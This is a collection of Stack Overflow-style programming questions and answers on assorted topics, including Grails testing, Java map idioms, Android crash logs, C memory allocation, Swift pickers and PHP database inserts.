21042127	0	Spock Integration Test interaction not counted <p>I want to write an integration test for my Grails User Class.</p> <p>I have a <code>afterUpdate()</code>method which calls the afterUpdate method in the userService which calls another service. </p> <p>Now I want to verify that the call to the other service is done correctly. If I debug the code, the method is called correctly. but my test always fails and says the method isn't called:</p> <pre><code> def "After Update for User"() { given: RedisService.metaClass.'static'.del = {String key -&gt; true} User user = new User() user.save(flush: true) when: user.afterUpdate() then: 1 * redisService.del(!null) } </code></pre> <p>I have tried different things like</p> <pre><code>then: 1 * user.userService.afterUpdate(!null) 1 * userService.redisService.del(!null) 1 * redisService.del(!null) </code></pre> <p>but they are all failing.</p> <p>I allways get:</p> <pre><code>| Failure: After Update for User(com.boxcryptor.server.RedisCacheIntegrationSpec) | Too few invocations for: 1 * user.userService.afterUpdate(!null) (0 invocations) Unmatched invocations (ordered by similarity): None Too few invocations for: 1 * redisService.del(!null) (0 invocations) Unmatched invocations (ordered by similarity): None </code></pre> <p><strong>Update:</strong></p> <p>the after Update Method is really simple:</p> <pre><code>def afterUpdate(User user) { deleteETagCache(user) } def deleteETagCache(User user) { redisService.del(user.id.toString()) } </code></pre>
27847909	0	 <p>add style before your <code>&lt;script&gt;</code> tag like this and fix the height of your autocomplete, it will show scroll if results don't fit in the specified height.</p> <pre><code>&lt;style&gt; .ui-autocomplete { max-height: 100px; // set whatever you want overflow-y: auto; overflow-x: hidden; //this will prevent horizontal scrollbar } * html .ui-autocomplete { height: 100px; } &lt;/style&gt; </code></pre>
24447848	0	Prefix 0 in Razor Textbox value <p>Here is my Razor text box</p> <pre><code>@Html.TextBoxFor(model =&gt; model.ShortBufferHour,new { @maxlength = "2",Style="text-align:center;"}) </code></pre> <p>It shows the <code>Hours</code> as <code>7</code>. How to prefix a <code>0</code> in case of single digit hour. So that the textbox content be <code>07</code></p>
1392852	0	How do I send a PDF in a MemoryStream to the printer in .Net? <p>I have a PDF created in memory using iTextSharp and contained in a MemoryStream. I now need to translate that MemoryStream PDF into something the printer understands.</p> <p>I've used Report Server in the past to render the pages to the printer format but I cant use it for this project.</p> <p>Is there a native .Net way of doing this? For example, GhostScript would be OK if it was a .Net assembly but I don't want to bundle any non .Net stuff along with my installer.</p> <p>The PrintDocument class in .Net is great for sending content to the printer but I still need to translate it from a PDF stream into GDI at the page level.</p> <p>Any good hints?</p> <p>Thanks in advance</p> <p>Ryan</p>
7542869	0	 <p>Solved thanks to David Heffernan.</p> <p>On my main window i added a static window field which references my main window.</p> <pre><code>public static Window main; Public MainWindow() { main = this; } </code></pre> <p>On the windows I need to hide from task manager and ALT+TAB, I made my main window its owner:</p> <pre><code>public HiddenWindow() { this.Owner = MainWindow.main; } </code></pre> <p>Its really simple, it hides the window from the 'tasks' tab on task manager and also stop people from ALT+TABing into your program.</p>
17702642	0	 <p>Make sure the path to database is right, if you can see the table in you database, then the path is wrong, it could be looking to some other database. just an idea</p>
31186636	0	 <p>After digging on cxf forums, I found the answer.</p> <pre><code>Map&lt;String, String&gt; nsMap = new HashMap&lt;&gt;(); nsMap.put("prefix1", "url1"); nsMap.put("prefix2", "url2"); nsMap.put("prefix3", "url3"); nsMap.put("prefix4", "url4"); nsMap.put("prefix5", "http://www.w3.org/2001/04/xmlenc#"); Client client = ClientProxy.getClient(port); client.getRequestContext().put("soap.env.ns.map", nsMap); </code></pre> <p><strong>I would be appreciated if anyone know on how to do the same for <code>&lt;soap:Header&gt;</code></strong></p>
303001	0	 <p>I've also had great success using Aptana's Jaxer + jQuery to parse pages. It's not as fast or 'script-like' in nature, but jQuery selectors + real JavaScript/DOM is a lifesaver on more complicated (or malformed) pages.</p>
27075452	0	 <p>Simply put, put an ampersand and then amp; as shown below.</p> <blockquote> <p>&amp;amp;amp;</p> </blockquote>
28403532	0	 <p>Your best bet is to provide a method to clean up the library. The end user will have to call it (presumably based on handling application lifecycle in the container). You could also provide a <code>Listener</code> for those cases when it is used in a compatible servlet container (e.g., Tomcat), but your end user will still have to be aware and put the descriptor in the web.xml.</p> <p>The only other alternative is that your end user is going to have to create a Listener that manages to get the thread to die. I have had to do this on several occasions and it is not pretty. It usually involves using reflection to get ahold of the thread and killing it. Of course, the ThreadDeath exception is handled by some libraries and the threads refuse to die. This then requires more significant use of reflection to clean up the mess.</p> <p>Your end users are much better off if you give them an easy way to clean up the library. It sucks that they have to know about your implementation details, but they already do because you are keeping the app from unloading.</p>
11102103	0	How do I get KnowledgeArticleViewStat data from a Visualforce page via SQL queries? <p>I am trying to display information about Knowledge Articles on my page. One of the things I want to display is the most viewed article stat.</p> <p>I have a Visualforce Apex component that looks like this:</p> <pre><code>&lt;apex:component controller="Component_Query" access="global"&gt; &lt;apex:attribute name="QueryString" type="String" required="true" access="global" assignTo="{!queryString}" description="A valid SOQL query in string form." /&gt; &lt;apex:variable value="{!results}" var="results"/&gt; &lt;apex:componentBody /&gt; &lt;/apex:component&gt; </code></pre> <p>I have a Visualforce page that looks like this:</p> <pre><code>&lt;apex:page &gt; &lt;table id="articles"&gt; &lt;knowledge:articleList articleVar="article" sortBy="mostViewed" pageSize="5"&gt; &lt;tr&gt; &lt;td&gt;{!article.articlenumber}&lt;/td&gt; &lt;td&gt;&lt;a target="_parent" href="{!URLFOR($Action.KnowledgeArticle.View, article.id)}"&gt;{!article.title}&lt;/a&gt;&lt;/td&gt; &lt;td&gt;{!article.articletypelabel}&lt;/td&gt; &lt;td&gt;{!article.lastpublisheddate}&lt;/td&gt; &lt;td&gt; &lt;c:Query_component queryString="SELECT NormalizedScore FROM KnowledgeArticleViewStat WHERE ParentId = '{!article.id}'"&gt; &lt;apex:repeat value="{!results}" var="result"&gt; &lt;/apex:repeat&gt; &lt;/c:Query_component&gt; &lt;/td&gt; &lt;/tr&gt; &lt;/knowledge:articleList&gt; &lt;/table&gt; &lt;/apex:page&gt; </code></pre> <p>I put the Visualforce Page into a tab. When I view the page, all the information about the knowledge articles show up except for the information about the most viewed stat. How do I see this stat?</p>
27961400	0	three.js raycaster with dynamic canvas position <p>i currently have a three.js scene in a twitter bootstrap environment, so the renderer.domelement can resize and change its position dependent on screen resolution, browser window size and so on.</p> <p>Now i have problems using the three.js raycaster to intersect objects in this scene. When the page loads and the scene is shown on the screen the raycaster works fine, but when i scroll the browser window and/or resize it so that the scene is at a different position in the browser window, the intersection of objects doesn't work anymore.</p> <p>i have no idea how to fix this issue...does someone have an idea how i can fix this?</p> <p>This is how my Raycaser aktually looks like:</p> <pre><code>var container = document.getElementById( 'view' ); ///Raycaster/// var projector = new THREE.Projector(); function onDocumentMouseDown(event) { var mouseX = ( ( event.clientX - container.offsetLeft ) / container.clientWidth ) * 2 - 1; var mouseY = - ( ( event.clientY - container.offsetTop ) / container.clientHeight ) * 2 + 1; var vector = new THREE.Vector3(mouseX, mouseY, 0.5); projector.unprojectVector(vector, camera); var raycaster = new THREE.Raycaster(camera.position, vector.sub(camera.position).normalize()); var intersects = raycaster.intersectObjects(objects); if (intersects.length &gt; 0) { // do something var origin = raycaster.ray.origin.clone(); console.log(origin); } } } </code></pre>
40215971	0	 <p>There is no reason to choose between <code>putIfAbsent</code> and <code>computeIfPresent</code>. Most notably, <code>computeIfPresent</code> in entirely inappropriate as it, as its name suggests, only computes a new value, when there is already an old one, and <code>(k,v)-&gt;v</code> even makes this computation a no-op.</p> <p>There are several options</p> <ol> <li><p><code>containsKey</code>, <code>put</code> and <code>get</code>. This is the most popular pre-Java 8 one, though its the most inefficient of this list, as it incorporates up to three hash lookups for the same key</p> <pre><code>String key=str.substring(i, j); if(!map.containsKey(key)) map.put(key, new HashSet&lt;&gt;()); map.get(key).add(str); </code></pre></li> <li><p><code>get</code> and <code>put</code>. Better than the first one, though it still may incorporate two lookups. For ordinary <code>Map</code>s, this was the best choice before Java 8:</p> <pre><code>String key=str.substring(i, j); Set&lt;String&gt; set=map.get(key); if(set==null) map.put(key, set=new HashSet&lt;&gt;()); set.add(str); </code></pre></li> <li><p><code>putIfAbsent</code>. Before Java 8, this option was only available to <code>ConcurrentMap</code>s.</p> <pre><code>String key=str.substring(i, j); Set&lt;String&gt; set=new HashSet&lt;&gt;(), old=map.putIfAbsent(key, set); (old!=null? old: set).add(str); </code></pre> <p>This only bears one hash lookup, but needs the unconditional creation of a new <code>HashSet</code>, even if we don’t need it. Here, it might be worth to perform a <code>get</code> first to defer the creation, especially when using a <code>ConcurrentMap</code>, as the <code>get</code> can be performed lock-free and may make the subsequent more expensive <code>putIfAbsent</code> unnecessary.</p> <p>On the other hand, it must be emphasized, that this construct is not thread-safe, as the manipulation of the value <code>Set</code> is not guarded by anything.</p></li> <li><p><code>computeIfAbsent</code>. This Java 8 method allows the most concise and most efficient operation:</p> <pre><code>map.computeIfAbsent(str.substring(i, j), k -&gt; new HashSet&lt;&gt;()).add(str); </code></pre> <p>This will only evaluate the function, if there is no old value, and unlike <code>putIfAbsent</code>, this method returns the new value, if there was no old value, in other words, it returns the right <code>Set</code> in either case, so we can directly <code>add</code> to it. Still, the <code>add</code> operation is performed outside the <code>Map</code> operation, so there’s no thread safety, even if the <code>Map</code> is thread safe. But for ordinary <code>Map</code>s, i.e. if thread safety is not a concern, this is the most efficient variant.</p></li> <li><p><code>compute</code>. This Java 8 method will always evaluate the function and can be used in two ways. The first one</p> <pre><code>map.compute(str.substring(i, j), (k,v) -&gt; v==null? new HashSet&lt;&gt;(): v).add(str); </code></pre> <p>is just a more verbose variant of <code>computeIfAbsent</code>. The second</p> <pre><code>map.compute(str.substring(i, j), (k,v) -&gt; { if(v==null) v=new HashSet&lt;&gt;(); v.add(str); return v; }); </code></pre> <p>will perform the <code>Set</code> update under the <code>Map</code>’s thread safety policy, so in case of <code>ConcurrentHashMap</code>, this will be a thread safe update, so using <code>compute</code> instead of <code>computeIfAbsent</code> has a valid use case when thread safety is a concern.</p></li> </ol>
9802372	0	stackoverflowerror when resume an activity at the second time <p>i am designing an app, it has <code>Main Activity</code> with <code>tabhost</code>. my point is that when i click on a <code>tabwidget</code> in tabhost bar, it call to <code>Activity A</code>, in <code>Activity A</code> I have a list of menu, when i click on 1 button menu it call to another activity <code>Activity B</code> (i have home button on this activity). my problem is that when i click on button for the first time and click back to <code>Activity A</code>, it run normally, but on the second time i click on it and go back, it got <code>stackoverflowerror</code>. I use this code for handle <code>go back</code></p> <p><code>View view = getLocalActivityManager() .startActivity( "Add Ring", new Intent(getApplicationContext(), ProfileView.class) .addFlags(Intent.FLAG_ACTIVITY_CLEAR_TOP)) .getDecorView(); setContentView(view);</code></p> <p>my error log</p> <pre><code>03-21 16:02:40.343: E/AndroidRuntime(2118): FATAL EXCEPTION: main 03-21 16:02:40.343: E/AndroidRuntime(2118): java.lang.StackOverflowError 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6986) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.ScrollView.draw(ScrollView.java:1409) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1646) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.drawChild(ViewGroup.java:1644) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewGroup.dispatchDraw(ViewGroup.java:1373) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.View.draw(View.java:6883) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.widget.FrameLayout.draw(FrameLayout.java:357) 03-21 16:02:40.343: E/AndroidRuntime(2118): at com.android.internal.policy.impl.PhoneWindow$DecorView.draw(PhoneWindow.java:1862) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewRoot.draw(ViewRoot.java:1522) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewRoot.performTraversals(ViewRoot.java:1258) 03-21 16:02:40.343: E/AndroidRuntime(2118): at android.view.ViewRoot.handleMessage(ViewRoot.java:1859) </code></pre> <p>any solutions is appreciate!</p>
33299274	0	 <p>This line:</p> <pre><code>temp = (cell*)realloc(temp, sizeof(cell)); </code></pre> <p>invokes <strong>undefined behaviour</strong> since <code>temp</code> is not initialized. You should initialize it with, e.g., <code>cell *temp = NULL;</code> (understand that <code>realloc</code> can either take a <code>NULL</code> pointer in which case it is equivalent to <code>malloc</code>, or a previously <code>malloced/calloced/realloced</code> pointer).</p> <p>And <strong>don't cast the return from malloc</strong>. This is C, not C++. Search this site for why casting the <code>malloc</code> return value is frowned upon in C.</p>
25733564	0	How can I search for documents that contain three times a special word? <p>Solr should return the documents, that contain a given word minimum three times. What is the query?</p>
36773827	0	Titan Warn: Query requires iterating over all vertices [(name <> null)] <p>I have used below code</p> <pre><code>mgmt = g.getManagementSystem() PropertyKey name = mgmt.makePropertyKey("name").dataType(String.class).make(); mgmt.buildIndex("name",Vertex.class).addKey(name).unique().buildCompositeIndex(); </code></pre> <p>while retrieving data from graph i am getting this warning,</p> <pre><code>TransactionalGraph tx = g.newTransaction(); Iterator vertex=tx.query().has("name").vertices.iterator(); </code></pre> <p>Entire graph is traversed to fetch the vertices instead of indexed vertices. Please suggest changes.</p>
36785089	0	Image galleries with <img> tag? <p>I am building a website, and I need to 'implement' a gallery on a group of photos. Since I'm using Spring MVC, my images are with 'img src..' tag and regular js and jquery addons don't work. Is there any plugin/library that can help me do this? If not, suggestions for making my way around it are also welcome. Here is the html, if it can somehow help.</p> <pre><code>&lt;div id="img-slider"&gt; &lt;img class="slider-img" src="/LBProperties/img/bisc.jpg"/&gt; &lt;img class="slider-img" src="/LBProperties/img/bisc1.jpg"/&gt; &lt;/div&gt; </code></pre> <p>Thank you !</p>
20972745	0	How to track time spent on site <p>In my rails application, I want to track the total time spent on site by individual user. I did research on it but can not get perfect solution.<br> How is it possible.</p>
40611758	0	Error: Type 'GearViewController' does not conform to protocol 'UIPickerViewDataSource' <p>Error:</p> <blockquote> <p>Type 'GearViewController' does not conform to protocol 'UIPickerViewDataSource'</p> </blockquote> <p>Based on <a href="https://developer.apple.com/reference/uikit/uipickerviewdatasource" rel="nofollow noreferrer">apple documentation</a> there are only 2 required methods for a UIPickerViewDataSource. Both are included in the code below. I think the syntax is correct. (but probably not)</p> <p>Class/control declaration, and init. (lots of other code removed for clarity. Full code available if needed, i'll edit. Just trying to stay brief.)</p> <pre><code>class GearViewController: UIViewController, UITableViewDataSource, UITableViewDelegate, UIPickerViewDataSource, UIPickerViewDelegate{ @IBOutlet weak var pickerGearCategory: UIPickerView! override func viewDidLoad() { super.viewDidLoad() pickerGearCategory.dataSource = self pickerGearCategory.delegate = self } </code></pre> <p>Delegate and datasources</p> <pre><code> let gearCategoryPickerData = CategoryRepository.allCategories() //MARK: CategoryPicker- Delegates and data sources //MARK: CategoryPicker - Data Sources //Required func numberOfComponents(in pickerGearCategory: UIPickerView) -&gt; Int { return 1 } //Required func pickerGearCategory(pickerGearCategory: UIPickerView, numberOfRowsInComponent component: Int) -&gt; Int { return gearCategoryPickerData.count } func pickerGearCategory(pickerGearCategory: UIPickerView,titleForRow row: Int, forComponent component: Int) -&gt; String? { return gearCategoryPickerData[row].name } </code></pre>
6142041	0	 <p>Note: For url-safe version of Base64 consider using modifyed set of characters for Base64 ( <a href="http://en.wikipedia.org/wiki/Base64#URL_applications" rel="nofollow">http://en.wikipedia.org/wiki/Base64#URL_applications</a>) instead of custom Base62.</p> <p>I believe you can append 0 to the array first (will make higest byte always not to contain 1 in the highest bit) and then convert to BigInteger if you really need positive BigInteger.</p>
187548	0	 <p>From the comments to my answer I guess it is not possible to have different credentials for service authentication and http proxy.</p> <p>that suck! :(</p>
38318389	0	 <p>I figured out a solution.</p> <p>(1) Export your Voxel Object from MagicVoxel as a .OBJ file.</p> <p>(2) This will create 3 files. Keep the .PNG and .OBJ files. </p> <p>(3) Download a program called blender here: <a href="https://www.blender.org/" rel="nofollow noreferrer">https://www.blender.org/</a></p> <p>(4) Open Blender</p> <p>(5) Go to [File] -> [Import] -> [Wavefront .OBJ] </p> <p>(6) Navigate to your .OBJ file</p> <p>(7) This will open up the .OBJ. You can rotate your object to fix any rotation problems</p> <p>(8) Go to [File] -> [Export] -> [Collada .DAE]</p> <p>(9) Save the new file and drag it into your XCode [SceneKit] Project!</p> <p>(10) Drag in the .PNG file from Step 2 into your project too</p> <p>(11) Select your .DAE file and open the right menu shown below<a href="https://i.stack.imgur.com/GdnMh.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/GdnMh.png" alt="s"></a></p> <p>(12) Open this <a href="https://i.stack.imgur.com/zaO60.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/zaO60.png" alt="spherish thingy"></a></p> <p>(13) Drag and drop the .PNG file from your project into the dropdown menu here. <a href="https://i.stack.imgur.com/uz6Ng.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/uz6Ng.png" alt="enter image description here"></a></p> <p>(14) Finished! Hope this helped!</p>
37335733	0	 <p>I'm not sure AJAX can upload files, but you can do everything you're talking about with just PHP and HTML, but you'll need to spend some time learning PHP. I would find one of the many online PHP tutorials to start. </p> <p>As far as what you want to do, here is what you need to learn:</p> <ol> <li><p>(HTML/PHP) How to upload a file</p></li> <li><p>(PHP) How to create a directory</p></li> </ol> <p>That's it, assuming you know enough HTML to create and use forms.</p>
10866319	0	 <p><code>String *</code> means a pointer to a <code>String</code>, if you want to do anything with the <code>String</code> itself you have to dereference it with <code>*moj</code>. What you can do instead is this:</p> <pre><code>String moj = String("Alice has a cat"); // note lack of * and new cout &lt;&lt; moj[2]; </code></pre> <p>Also note that anything you allocate with <code>new</code> needs to be deleted after:</p> <pre><code>String *x = new String("foo"); // code delete x; </code></pre>
27820436	0	 <p>Do not mix sub-query and join logic. Use only one of them. I prefer sub-select.</p> <pre><code>SELECT tblForumSubGroups_1.id, tblForumSubGroups_1.GroupID, tblForumSubGroups_1.SubGroupTitle, tblForumSubGroups_1.SubGroupDesc, (SELECT COUNT(*) FROM dbo.tblForumPosts WHERE dbo.tblForumSubGroups.id = dbo.tblForumPosts.SubGroupID) AS Expr1 FROM dbo.tblForumSubGroups AS tblForumSubGroups_1 </code></pre>
4882030	0	 <blockquote> <p>What's the big deal about being able to support a new characterset.</p> </blockquote> <p>Unicode is not just "a new characterset". It's the character set that removes the need to think about character sets.</p> <p>How would you rather write a string containing the Euro sign?</p> <ul> <li><code>"\x80"</code>, <code>"\x88"</code>, <code>"\x9c"</code>, <code>"\x9f"</code>, <code>"\xa2\xe3"</code>, <code>"\xa2\xe6"</code>, <code>"\xa3\xe1"</code>, <code>"\xa4"</code>, <code>"\xa9\xa1"</code>, <code>"\xd9\xe6"</code>, <code>"\xdb"</code>, or <code>"\xff"</code> depending upon the encoding.</li> <li><code>"\u20AC"</code>, in every locale, on every OS.</li> </ul>
8344520	0	 <p>The post-fix notation is how you do the math in, say, a HP calculator.</p> <p>Keep a stack, whenever you get a number add it to the top. Whenever you get an operator consume inputs from the top and then add the result to the top</p> <pre><code>token stack *empty* 3 3 //push numbers... 4 3 4 2 3 4 2 * 3 8 //remove 4 and 2, add 4*2=8 1 3 8 1 5 3 8 1 5 - 3 8 -4 2 3 8 -4 2 3 3 8 -4 2 3 ^ 3 8 -4 8 ... ... </code></pre>
29248553	0	 <p>It sounds like you were trying to used nested loops, but you in fact had one loop at the beginning which closed out and then you loop through the rest. You need to move your closing curly brace marked below:</p> <pre><code>for($i=0; $i&lt;count($_FILES['upload']['name']); $i++) { $filut = basename($_FILES['upload']['name'][$i]); } &lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;&lt;=========== This curly brace closes the "for loop" if(isset($_POST['subi'])) { $data1 = $_POST['answers']; foreach($data1) as $postValues) { $sql4 = 'INSERT INTO db_image (text, image) VALUES("'.$postValues.'","'.$filut.'")'; $my-&gt;query($sql4); } } ??? &lt;&lt;&lt;&lt;&lt;======== For a nested loop you should close it here </code></pre> <p>or perhaps you were trying to assign <code>$filut</code> as an array in which case the starting <code>for...</code> loop needs to look like this:</p> <pre><code>for($i=0; $i&lt;count($_FILES['upload']['name']); $i++) { $filut[] = basename($_FILES['upload']['name'][$i]); } </code></pre> <p>(Note the addition of <code>[]</code> after <code>$filut</code>.)</p> <p>However, if this is what you were intending (to make $filut into an array) then you need to do something different down below in order to access just one element of the array. This is where a nested <code>foreach</code> would solve the problem - maybe this is how you intended to finish it off:</p> <pre><code>if(isset($_POST['subi'])) { $data1 = $_POST['answers']; foreach($data1 as $postValues) { foreach ($filut as $f) { $sql4 = 'INSERT INTO db_image (text, image) VALUES("'.$postValues.'","'.$f.'")'; $my-&gt;query($sql4); } } } </code></pre> <p>This will insert a row for every value in $filut for every value in $_POST['answers']. Is that what you wanted? Or are $filut and $_POST['answers'] in parallel and you want a 1-1 correlation on the insert?</p> <p>Finally I'm going to suggest that you use prepare and bind since you are getting your data from the user. This example copied/modified from <a href="http://php.net/manual/en/mysqli-stmt.execute.php" rel="nofollow">here</a>:</p> <pre><code>&lt;?php $mysqli = new mysqli("localhost", "my_user", "my_password", "world"); /* check connection */ if (mysqli_connect_errno()) { printf("Connect failed: %s\n", mysqli_connect_error()); exit(); } /* Prepare an insert statement */ $query = "INSERT INTO db_image (text, image) VALUES (?,?)"; $stmt = $my-&gt;prepare($query); #### NOTE THE USE OF YOUR VARIABLES HERE IN THE BIND - the "ss" means they are strings $stmt-&gt;bind_param("ss", $postValues, $f); #### HERE IS WHERE YOUR CODE IS GETTING INSERTED foreach($data1 as $postValues) { foreach ($filut as $f) { /* Execute the statement */ $stmt-&gt;execute(); } } /* close statement */ $stmt-&gt;close(); /* close connection */ $my-&gt;close(); ?&gt; </code></pre> <p>I can't guarantee that I got all the variables changed to match your code, but hopefully it's close enough to give you an idea. This solution (1) protects you from SQL Injection (which is a serious flaw in your code otherwise) and (2) will be much faster by means of the prepare/execute cycle.</p> <p><em>Do note the careful indentation in my examples where everything lines up perfectly with 3 or more spaces per indent - I can't tell you how many times I have seen sloppy (or too little) indentation make people miss problems which would be otherwise obvious.</em></p>
31245436	0	 <p>The '&amp;' characters needs to be encoded in XML as '<code>&amp;amp;</code>'.</p>
38696106	0	 <p>There is a typo in the <a href="https://docs.spring.io/spring-boot/docs/1.4.0.RELEASE/api/org/springframework/boot/context/embedded/ErrorPage.html" rel="nofollow">docs</a>, they actually meant "in favor of the superclass, <a href="https://docs.spring.io/spring-boot/docs/1.4.0.RELEASE/api/org/springframework/boot/web/servlet/ErrorPage.html" rel="nofollow">org.springframework.boot.web.<strong>servlet</strong>.ErrorPage</a>", which is located in the same artifact, <code>org.springframework.boot:spring-boot</code>.</p>
23364919	0	Connect different points with line in matlab <p>I have matrix of 2 column (x and y) and 100 rows, and each row make one point like (x1,y1). </p> <p>I need to draw a line consecutively between them, like point (x1,y1) to (x2,y2) and (x2,y2) to (x3,y3) and so on till (x100,y100).</p> <p>I have written this code and it's working properly. The problem is, it takes too long as I have to do this for 55000 matrix.</p> <pre><code> figure; for j=1:length(data); % data = 55000 different matrices which should draw in the same figure for i=1:length(data(j).x); x= (data(j).x(i)); y= (data(j).y(i)); if i == length(data(j).x); break; end x1= (data(j).x(i+1)); y1= (data(j).y(i+1)); line([x,x1],[y,y1]); end end </code></pre> <p>Is there any more efficient and quicker way to do that?</p>
